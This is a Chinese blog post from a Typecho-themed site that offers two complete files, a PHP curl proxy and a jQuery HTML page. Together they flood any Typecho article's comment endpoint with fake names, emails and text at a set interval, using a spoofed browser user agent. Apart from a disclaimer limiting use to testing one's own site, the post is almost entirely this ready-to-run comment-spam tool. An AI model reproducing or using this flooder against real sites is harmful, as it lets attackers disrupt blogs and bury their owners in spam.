TypechoJoeTheme

遇上你 logo

当我遇上你
排行榜
统计
文章目录

Typecho评论攻击

醉书生站长
1个月前
0 评论
54 阅读
检测收录...
11:02
本文最后更新于2021年03月07日,已超过34天没有更新,若内容或图片失效,请留言反馈。

之前有次早上打开博客,发现博客被人刷了几百条恶意评论,删除了好一会儿。今天没什么事,利用php加前端也模拟写出了这样的一个小功能。原理主要是模拟用户评论,然后疯狂的去发送!

——来自Joe主题开发者

注意:如果博客后台开了评论校验、拦截了请求,那么该功能可能会失效。该功能仅供测试自己网站是否可以被刷评论使用,请勿非法使用其他用途!

一共2个文件,分为test.php和test.html,上传到服务器同目录后打开test.html即可使用!

test.php

<?php
header('Access-Control-Allow-Origin:*');
function getParam($key, $default = '')
{
    return trim($key && is_string($key) ? (isset($_POST[$key]) ? $_POST[$key] : (isset($_GET[$key]) ? $_GET[$key] : $default)) : $default);
}
function send_post($url, $post_data)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36');
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
if (getParam('link')) {
    $res = send_post(getParam('link') . '/comment', array(
        'author' => getParam('author'),
        'mail' => getParam('mail'),
        'url' => getParam('url'),
        'text' => getParam('text')
    ));
    if ($res) {
        echo "发送可能失败!";
    } else {
        echo "发送应该成功";
    }
}

test.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Typecho评论攻击</title>
    <style>
        * {
            box-sizing: border-box;
        }

        body {
            display: flex;
        }

        input {
            width: 200px;
            height: 28px;
            outline: none;
        }

        textarea {
            width: 200px;
            height: 200px;
            vertical-align: top;
            outline: none;
        }

        .right {
            max-height: 580px;
            overflow-y: auto;
            border-left: 2px solid #ff6800;
            margin-left: 50px;
            padding-left: 50px;
        }
    </style>
    <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
</head>

<body>
    <div>
        <ul>
            <li>当前页面仅供测试Typecho的评论系统,请勿非法使用其他用途</li>
            <li>本页面的原理:简单的模拟用户去发表评论</li>
            <li>如果博客后台开启了评论审核、评论时间限制等,则可能不起作用</li>
        </ul>
        <p>
            <span>文章链接(必填):</span>
            <input autocomplete="off" type="text" id="link" placeholder="请输入需要测试的文章链接" />
        </p>
        <p>
            <span>虚假昵称(必填):</span>
            <input autocomplete="off" value="测试昵称" type="text" id="author" placeholder="请输入一个假昵称" />
        </p>
        <p>
            <span>虚假邮箱(必填):</span>
            <input autocomplete="off" value="250250250@qq.com" type="text" id="mail" placeholder="请输入一个假邮箱" />
        </p>
        <p>
            <span>虚假网址(选填):</span>
            <input autocomplete="off" type="text" id="url" placeholder="请输入一个假网址" />
        </p>
        <p>
            <span>虚假文本(必填):</span>
            <textarea autocomplete="off" type="text" id="text" placeholder="请输入一个假文本"></textarea>
        </p>
        <p>
            <span>发送间隔(必填):</span>
            <input autocomplete="off" value="1000" type="text" id="time" placeholder="请输入多少时间(毫秒)" />
        </p>
        <p>
            <button id="button">开始</button>
        </p>
    </div>
    <div class="right">
        <ul id="record"></ul>
    </div>
    <script>
        let timer = null;
        $("#button").on("click", function () {
            const link = $("#link").val()
            const author = $("#author").val()
            const mail = $("#mail").val()
            const url = $("#url").val()
            const text = $("#text").val()
            const time = $("#time").val() || 1000
            if (!link || !author || !mail || !text || !time) {
                return alert("请填写必填项!")
            }
            if ($(this).html() === '开始') {
                $(this).html('停止')
                timer = setInterval(() => {
                    $.ajax({
                        url: "./test.php",
                        type: "POST",
                        data: { link, author, mail, url, text },
                        success(res) {
                            $("#record").append("<li>" + res + "</li>")
                        }
                    })
                }, time);
            } else {
                $(this).html('开始');
                clearInterval(timer);
            }
        })
    </script>
</body>
</html>

Typecho安全小知识
https://www.ysni.cn/1272.html

本文共363个字数,您已阅读:平均阅读时长≈1分钟。
Typecho安全
朗读
点赞
0
打赏
海报
欢迎
要时间嘉许,等春风得意,我正好遇上你!

微信/QQ/支付宝三合一收款码

微信
QQ
支付宝
打开微信/QQ/支付宝扫一扫,即可进行扫码打赏!
版权属于:

遇上你

最后修改:

2021 年 03 月 07 日 04 : 50 PM

本文链接:

https://www.ysni.cn/1273.html(转载时请注明本文出处及文章链接)

评论 (0)